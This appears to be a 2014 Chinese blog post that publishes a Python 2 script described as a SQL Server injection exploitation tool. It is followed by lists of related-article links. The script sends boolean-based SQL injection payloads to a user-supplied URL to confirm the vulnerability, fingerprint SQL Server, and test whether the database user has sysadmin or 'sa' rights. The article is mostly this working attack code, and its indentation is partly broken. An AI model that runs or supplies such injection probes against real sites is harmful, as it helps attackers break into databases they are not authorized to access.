Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
python基础教程之元组操作使用详解
Mar 25 Python
使用Python进行新浪微博的mid和url互相转换实例(10进制和62进制互算)
Apr 25 Python
Python命令行参数解析模块getopt使用实例
Apr 13 Python
Python面向对象编程中关于类和方法的学习笔记
Jun 30 Python
Python实现树的先序、中序、后序排序算法示例
Jun 23 Python
Python基于回溯法子集树模板解决数字组合问题实例
Sep 02 Python
python在每个字符后添加空格的实例
May 07 Python
如何使用Python自动控制windows桌面
Jul 11 Python
详解Django admin高级用法
Nov 06 Python
使用keras内置的模型进行图片预测实例
Jun 17 Python
Python txt文件如何转换成字典
Nov 03 Python
pytorch 权重weight 与 梯度grad 可视化操作
Jun 05 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
初学者入门:细述PHP4的核心Zend
2006/09/05 PHP
PHP抽象类 介绍
2012/06/13 PHP
递归删除一个节点以及该节点下的所有节点示例
2014/03/19 PHP
PHP实现多图片上传类实例
2014/07/26 PHP
解决phpcms更换javascript的幻灯片代码调用图片问题
2014/12/26 PHP
Thinkphp实现站点静态化的方法详解
2017/03/21 PHP
php处理抢购类功能的高并发请求
2018/02/08 PHP
Laravel 5.4.36中session没有保存成功问题的解决
2018/02/19 PHP
Jquery多选下拉列表插件jquery multiselect功能介绍及使用
2013/05/24 Javascript
JS将所有对象s的属性复制给对象r(原生js+jquery)
2014/01/25 Javascript
jQuery实现自动与手动切换的滚动新闻特效代码分享
2015/08/27 Javascript
prototype与__proto__区别详细介绍
2017/01/09 Javascript
Vue2.0父子组件传递函数的教程详解
2017/10/16 Javascript
layui中使用jquery控制radio选中事件的示例代码
2018/08/15 jQuery
Vue 页面状态保持页面间数据传输的一种方法(推荐)
2018/11/01 Javascript
小程序多图列表实现性能优化的方法步骤
2019/05/28 Javascript
vue语法自动转typescript(解放双手)
2019/09/18 Javascript
Javascript表单序列化原理及实现代码详解
2020/10/30 Javascript
[57:28]2018DOTA2亚洲邀请赛 4.6 淘汰赛 TNC vs Liquid 第一场
2018/04/10 DOTA
[01:14]英雄,所敬略同——2018完美盛典宣传视频
2018/12/05 DOTA
Python linecache.getline()读取文件中特定一行的脚本
2008/09/06 Python
python使用pyqt写带界面工具的示例代码
2017/10/23 Python
Python定时任务sched模块用法示例
2018/07/16 Python
widows下安装pycurl并利用pycurl请求https地址的方法
2018/10/15 Python
python将数组n等分的实例
2019/12/02 Python
python可以用哪些数据库
2020/06/22 Python
python定时截屏实现
2020/11/02 Python
Python实现随机爬山算法
2021/01/29 Python
俄罗斯旅游网站:Tripadvisor俄罗斯
2017/03/21 全球购物
大学生职业生涯规划方案
2014/01/03 职场文书
财务人员的自我评价范文
2014/03/03 职场文书
幼儿园母亲节活动方案
2014/03/10 职场文书
Nginx URL重写rewrite机制原理及使用实例
2021/04/01 Servers
如何使用Maxwell实时同步mysql数据
2021/04/08 MySQL
浅谈Python数学建模之固定费用问题
2021/06/23 Python
MyBatis自定义SQL拦截器示例详解
2021/10/24 Java/Android